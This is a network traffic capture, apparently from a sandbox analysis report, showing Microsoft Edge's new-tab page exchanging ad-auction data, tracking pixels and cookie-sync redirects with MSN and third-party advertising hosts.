2025-01-11 06:54:33 UTC	3001	OUT	Data Raw: 7b 22 61 64 52 65 66 72 65 73 68 56 61 72 69 61 6e 74 22 3a 22 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 75 73 22 2c 22 72 69 64 22 3a 22 66 37 62 36 36 65 30 66 39 39 37 37 34 65 65 34 39 39 34 61 39 35 37 32 64 31 33 33 61 33 63 39 22 2c 22 70 61 72 74 6e 65 72 49 64 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 73 6f 75 72 63 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 65 64 67 65 2f 64 68 70 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 65 64 67 65 63 68 72 6e 74 70 22 2c 22 70 72 65 76 69 6f 75 73 52 65 73 65 72 76 65 64 52 69 76 65 72 4e 61 74 69 76 65 41 64 43 6f 75 6e 74 22 3a 30 2c 22 70 72 65 76 69 6f 75 73 52 69 76 65 72 44 75 61 6c 57 69 64 65 4e 61 74 69 76 65 41 64 43 6f 75 6e 74 22 3a 30 2c Data Ascii: {"adRefreshVariant":"","locale":"en-us","rid":"f7b66e0f99774ee4994a9572d133a3c9","partnerId":"dhp","content":{"sourceUrl":"https://ntp.msn.com/edge/dhp","pageType":"edgechrntp","previousReservedRiverNativeAdCount":0,"previousRiverDualWideNativeAdCount":0,
2025-01-11 06:54:34 UTC	743	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: application/json; charset=utf-8 Vary: Origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Server-Timing: total;dur=179 Timing-Allow-Origin: https://ntp.msn.com X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 09655EAD21FD4F43B90A860338922B3F Ref B: CHI30EDGE0319 Ref C: 2025-01-11T06:54:33Z Date: Sat, 11 Jan 2025 06:54:34 GMT Connection: close
2025-01-11 06:54:34 UTC	3674	IN	Data Raw: 65 35 33 0d 0a 7b 22 70 6c 61 63 65 6d 65 6e 74 73 22 3a 5b 7b 22 61 75 63 74 69 6f 6e 49 64 22 3a 22 64 66 61 36 34 62 30 31 2d 65 63 35 34 2d 34 31 31 64 2d 39 37 62 35 2d 37 36 64 30 30 35 32 37 31 63 30 37 22 2c 22 72 65 67 69 6f 6e 22 3a 22 69 6e 66 6f 70 61 6e 65 22 2c 22 69 6e 64 65 78 22 3a 33 2c 22 70 72 6f 76 69 64 65 72 49 64 22 3a 22 62 69 6e 67 22 2c 22 73 75 62 50 72 6f 76 69 64 65 72 49 64 22 3a 22 6e 61 65 78 63 68 61 6e 67 65 22 2c 22 61 64 54 79 70 65 22 3a 22 41 75 63 74 69 6f 6e 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 75 73 22 2c 22 6d 6f 64 75 6c 65 54 61 67 22 3a 22 62 69 6e 67 73 70 6f 6e 63 6f 6e 22 2c 22 76 69 73 69 62 69 6c 69 74 79 55 72 6c 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 61 70 Data Ascii: e53{"placements":[{"auctionId":"dfa64b01-ec54-411d-97b5-76d005271c07","region":"infopane","index":3,"providerId":"bing","subProviderId":"naexchange","adType":"Auction","locale":"en-us","moduleTag":"bingsponcon","visibilityUrls":["https://www.bing.com/ap
2025-01-11 06:54:34 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 6f 66 74 2e 63 6f 6d 2f 70 72 69 76 61 63 79 2f 61 64 2d 73 65 74 74 69 6e 67 73 22 2c 22 61 64 53 65 6c 65 63 74 69 6f 6e 52 65 61 73 6f 6e 22 3a 22 7b 5c 22 61 64 76 65 72 74 69 73 69 6e 67 50 6c 61 74 66 6f 72 6d 5c 22 3a 7b 5c 22 69 64 54 79 70 65 5c 22 3a 5c 22 49 41 42 5f 47 56 4c 5f 49 44 5c 22 2c 5c 22 69 64 5c 22 3a 31 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 5c 22 7d 2c 5c 22 74 61 72 67 65 74 69 6e 67 43 61 74 65 67 6f 72 79 5c 22 3a 7b 5c 22 67 65 6f 4c 6f 63 61 74 69 6f 6e 5c 22 3a 5c 22 4e 4f 54 5f 55 53 45 44 5c 22 2c 5c 22 72 65 6d 61 72 6b 65 74 69 6e 67 5c 22 3a 5c 22 4e 4f 54 5f 55 53 45 44 5c 22 2c 5c 22 75 73 65 72 43 68 61 72 61 63 74 65 72 69 73 74 69 63 73 5c 22 3a 5b 5d 2c 5c 22 75 73 65 72 Data Ascii: 2000oft.com/privacy/ad-settings","adSelectionReason":"{\"advertisingPlatform\":{\"idType\":\"IAB_GVL_ID\",\"id\":1,\"name\":\"Microsoft\"},\"targetingCategory\":{\"geoLocation\":\"NOT_USED\",\"remarketing\":\"NOT_USED\",\"userCharacteristics\":[],\"user
2025-01-11 06:54:34 UTC	4082	IN	Data Raw: 66 65 62 0d 0a 72 6c 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 73 72 74 62 2e 6d 73 6e 2e 63 6f 6d 3a 34 34 33 2f 6e 6f 74 69 66 79 2f 63 6c 69 63 6b 65 64 3f 72 69 64 3d 66 37 62 36 36 65 30 66 39 39 37 37 34 65 65 34 39 39 34 61 39 35 37 32 64 31 33 33 61 33 63 39 26 72 3d 72 69 76 65 72 26 69 3d 31 26 70 3d 65 64 67 65 63 68 72 6e 74 70 26 6c 3d 65 6e 2d 75 73 26 64 3d 62 69 6e 67 26 62 3d 45 64 67 26 61 3d 31 33 65 34 39 30 33 33 2d 36 34 33 63 2d 34 34 38 62 2d 39 63 30 36 2d 31 62 65 61 33 33 32 66 61 62 62 65 26 69 69 3d 31 26 63 3d 31 31 38 39 31 36 30 30 35 39 31 39 39 38 36 30 37 36 37 30 26 62 69 64 3d 34 36 31 32 64 31 39 31 2d 64 35 30 66 2d 34 38 35 38 2d 62 33 35 35 2d 62 39 33 34 30 65 39 31 66 33 66 64 26 74 69 64 3d 65 64 67 65 63 68 72 6e Data Ascii: febrls":["https://srtb.msn.com:443/notify/clicked?rid=f7b66e0f99774ee4994a9572d133a3c9&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=13e49033-643c-448b-9c06-1bea332fabbe&ii=1&c=11891600591998607670&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrn
2025-01-11 06:54:34 UTC	487	IN	Data Raw: 31 65 30 0d 0a 67 26 61 3d 31 33 65 34 39 30 33 33 2d 36 34 33 63 2d 34 34 38 62 2d 39 63 30 36 2d 31 62 65 61 33 33 32 66 61 62 62 65 26 69 69 3d 31 26 63 3d 31 31 38 39 31 36 30 30 35 39 31 39 39 38 36 30 37 36 37 30 26 62 69 64 3d 34 36 31 32 64 31 39 31 2d 64 35 30 66 2d 34 38 35 38 2d 62 33 35 35 2d 62 39 33 34 30 65 39 31 66 33 66 64 26 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 72 69 76 65 72 2d 31 26 70 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 70 65 65 6b 72 69 76 65 72 2d 31 5c 22 5d 2c 5c 22 74 6a 62 5c 22 3a 5b 5d 2c 5c 22 62 65 61 63 6f 6e 53 74 61 74 75 73 55 72 6c 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 73 72 74 62 2e 6d 73 6e 2e 63 6f 6d 3a 34 34 33 2f 6e 6f 74 69 66 79 2f 62 65 61 63 6f 6e 73 74 61 74 75 73 3f 72 69 64 3d 66 37 62 36 Data Ascii: 1e0g&a=13e49033-643c-448b-9c06-1bea332fabbe&ii=1&c=11891600591998607670&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1\"],\"tjb\":[],\"beaconStatusUrl\":\"https://srtb.msn.com:443/notify/beaconstatus?rid=f7b6
2025-01-11 06:54:34 UTC	4047	IN	Data Raw: 66 63 38 0d 0a 72 2d 31 5c 22 2c 5c 22 70 5c 22 3a 5c 22 62 69 6e 67 5c 22 2c 5c 22 65 5c 22 3a 74 72 75 65 7d 22 2c 22 61 64 46 65 65 64 62 61 63 6b 44 61 74 61 22 3a 22 7b 5c 22 61 64 50 72 6f 76 69 64 65 72 5c 22 3a 5c 22 62 69 6e 67 5c 22 2c 5c 22 61 64 54 69 74 6c 65 5c 22 3a 5c 22 50 72 69 63 65 20 44 72 6f 70 20 41 6c 65 72 74 5c 22 2c 5c 22 63 72 65 61 74 69 76 65 49 64 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 49 79 4e 54 63 32 4d 44 41 79 4e 6a 67 31 4e 54 6b 6a 4d 6a 4d 7a 4e 44 41 31 4e 7a 41 79 4f 44 45 33 4e 7a 45 7a 4d 41 3d 3d 5c 22 2c 5c 22 6c 6f 63 61 6c 65 5c 22 3a 5c 22 65 6e 2d 75 73 5c 22 2c 5c 22 70 6c 61 63 65 6d 65 6e 74 4c 69 6e 65 61 67 65 5c 22 3a 5c 22 65 78 74 63 6f 6e 74 65 6e 74 73 70 6f 6e 63 6f 6e 5f 65 64 Data Ascii: fc8r-1\",\"p\":\"bing\",\"e\":true}","adFeedbackData":"{\"adProvider\":\"bing\",\"adTitle\":\"Price Drop Alert\",\"creativeId\":\"U2VhcmNoQWQjODIyNTc2MDAyNjg1NTkjMjMzNDA1NzAyODE3NzEzMA==\",\"locale\":\"en-us\",\"placementLineage\":\"extcontentsponcon_ed
2025-01-11 06:54:34 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2f 61 64 2d 73 65 74 74 69 6e 67 73 22 2c 22 61 64 53 65 6c 65 63 74 69 6f 6e 52 65 61 73 6f 6e 22 3a 22 7b 5c 22 61 64 76 65 72 74 69 73 69 6e 67 50 6c 61 74 66 6f 72 6d 5c 22 3a 7b 5c 22 69 64 54 79 70 65 5c 22 3a 5c 22 49 41 42 5f 47 56 4c 5f 49 44 5c 22 2c 5c 22 69 64 5c 22 3a 31 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 5c 22 7d 2c 5c 22 74 61 72 67 65 74 69 6e 67 43 61 74 65 67 6f 72 79 5c 22 3a 7b 5c 22 67 65 6f 4c 6f 63 61 74 69 6f 6e 5c 22 3a 5c 22 4e 4f 54 5f 55 53 45 44 5c 22 2c 5c 22 72 65 6d 61 72 6b 65 74 69 6e 67 5c 22 3a 5c 22 4e 4f 54 5f 55 53 45 44 5c 22 2c 5c 22 75 73 65 72 43 68 61 72 61 63 74 65 72 69 73 74 69 63 73 5c 22 3a 5b 5c 22 41 47 45 5f 47 52 4f 55 50 5c 22 5d 2c 5c 22 75 73 65 72 49 6e Data Ascii: 2000/ad-settings","adSelectionReason":"{\"advertisingPlatform\":{\"idType\":\"IAB_GVL_ID\",\"id\":1,\"name\":\"Microsoft\"},\"targetingCategory\":{\"geoLocation\":\"NOT_USED\",\"remarketing\":\"NOT_USED\",\"userCharacteristics\":[\"AGE_GROUP\"],\"userIn
2025-01-11 06:54:34 UTC	4154	IN	Data Raw: 31 30 33 32 0d 0a 64 35 30 66 2d 34 38 35 38 2d 62 33 35 35 2d 62 39 33 34 30 65 39 31 66 33 66 64 26 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 69 6e 66 6f 70 61 6e 65 2d 31 31 26 70 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 70 65 65 6b 49 6e 66 6f 70 61 6e 65 2d 32 22 5d 2c 22 61 64 43 68 6f 69 63 65 73 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 72 69 76 61 63 79 2f 61 64 2d 73 65 74 74 69 6e 67 73 22 2c 22 61 64 53 65 6c 65 63 74 69 6f 6e 52 65 61 73 6f 6e 22 3a 22 7b 5c 22 61 64 76 65 72 74 69 73 69 6e 67 50 6c 61 74 66 6f 72 6d 5c 22 3a 7b 5c 22 69 64 54 79 70 65 5c 22 3a 5c 22 49 41 42 5f 47 56 4c 5f 49 44 5c 22 2c 5c 22 69 64 5c 22 3a 31 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4d Data Ascii: 1032d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2"],"adChoicesUrl":"https://account.microsoft.com/privacy/ad-settings","adSelectionReason":"{\"advertisingPlatform\":{\"idType\":\"IAB_GVL_ID\",\"id\":1,\"name\":\"M
2025-01-11 06:54:34 UTC	11	IN	Data Raw: 36 0d 0a 2f 6e 6f 74 69 66 0d 0a Data Ascii: 6/notif
2025-01-11 06:54:34 UTC	714	IN	Data Raw: 32 63 33 0d 0a 79 2f 62 65 61 63 6f 6e 73 74 61 74 75 73 3f 72 69 64 3d 66 37 62 36 36 65 30 66 39 39 37 37 34 65 65 34 39 39 34 61 39 35 37 32 64 31 33 33 61 33 63 39 26 72 3d 69 6e 66 6f 70 61 6e 65 26 69 3d 31 31 26 70 3d 65 64 67 65 63 68 72 6e 74 70 26 6c 3d 65 6e 2d 75 73 26 64 3d 62 69 6e 67 26 62 3d 45 64 67 26 61 3d 31 64 64 31 39 65 62 31 2d 37 33 35 62 2d 34 37 30 66 2d 39 32 30 39 2d 64 39 62 62 34 33 36 32 36 39 61 34 26 69 69 3d 31 26 63 3d 37 36 34 35 32 34 31 32 32 38 33 38 31 34 34 34 33 37 32 26 62 69 64 3d 34 36 31 32 64 31 39 31 2d 64 35 30 66 2d 34 38 35 38 2d 62 33 35 35 2d 62 39 33 34 30 65 39 31 66 33 66 64 26 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 69 6e 66 6f 70 61 6e 65 2d 31 31 26 70 74 69 64 3d 65 64 67 65 63 68 72 6e 74 Data Ascii: 2c3y/beaconstatus?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=1dd19eb1-735b-470f-9209-d9bb436269a4&ii=1&c=7645241228381444372&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrnt

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.11.20	63999	35.208.249.213	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:33 UTC	643	OUT	GET /cs/msn?id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1 Host: trace.mediago.io Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	291	IN	HTTP/1.1 200 OK Set-Cookie: __mguid_=09ac98cf9b8c603c1kwzpe00m5rtzias; Path=/; Domain=mediago.io; Max-Age=31536000; Secure; SameSite=None Date: Sat, 11 Jan 2025 06:54:34 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.11.20	63597	20.33.55.12	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	630	OUT	GET /oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.inmobi.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	362	IN	HTTP/1.1 302 Found vary: Origin,Access-Control-Request-Method,Access-Control-Request-Headers location: https://sync.inmobi.com/sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= content-length: 0 date: Sat, 11 Jan 2025 06:54:33 GMT x-envoy-upstream-service-time: 0 server: envoy connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.11.20	64557	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	996	OUT	GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resriver&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=cae0bcac-0788-4314-8d6d-ef1f6cde9e84&ii=1&c=2556969255498558843&bid=af84565f-f8a6-4f2f-a974-1cccfb0c3669&tid=edgechrntp-resriver-1&ptid=edgechrntp-resriver-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:34 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 735FB8AAD07F440E97A5E9988602577B Ref B: CHI30EDGE0218 Ref C: 2025-01-11T06:54:34Z Date: Sat, 11 Jan 2025 06:54:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.11.20	62279	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	654	OUT	GET /getuid?https://c.bing.com/c.gif?anx_uid=$UID&Red3=MSAN_pd&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	1514	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D AN-X-Request-Uuid: 8e5ba2e9-f8c8-4fcd-9fea-7bbeea12a01b Set-Cookie: XANDR_PANID=Dzt1Mfg-T7nsPQH62HphfAPQoX13gPVZRtUopwtIW2VdwBSsnX9T4m5AM-jmuZZtsScyjMQVK11XOmSOnlkqYSGqnV4qHCLzjBXk49C5Z6k.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:34 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:34 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7512390005418532596; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:34 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.11.20	60388	52.223.22.214	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	615	OUT	GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	172	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:54:34 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate
2025-01-11 06:54:34 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.11.20	64995	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	862	OUT	GET /mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1 Host: m.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	1684	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D AN-X-Request-Uuid: dfc9fbed-9845-463d-90b1-3ff9cfdb5bdf Set-Cookie: XANDR_PANID=dc90dIu-8g6FooxaAAmTXWFNP_Hv6Jkck0rAD1xwQehGaU0WaC8aUE1ifGE32ZeM9IJqiaWhWdN0e6qUYs_hiazi6HZ12OK-prfnp4UOCN0.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:34 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:34 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=5506314360893628760; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:34 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.11.20	58970	35.213.89.133	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	641	OUT	GET /cs/msn?id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1 Host: trace.popin.cc Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:34 UTC	289	IN	HTTP/1.1 200 OK Set-Cookie: __mguid_=09ac98cf9b8c603c1fcdhl00m5rtzis5; Path=/; Domain=popin.cc; Max-Age=31536000; Secure; SameSite=None Date: Sat, 11 Jan 2025 06:54:34 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.11.20	52471	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	1517	OUT	GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: 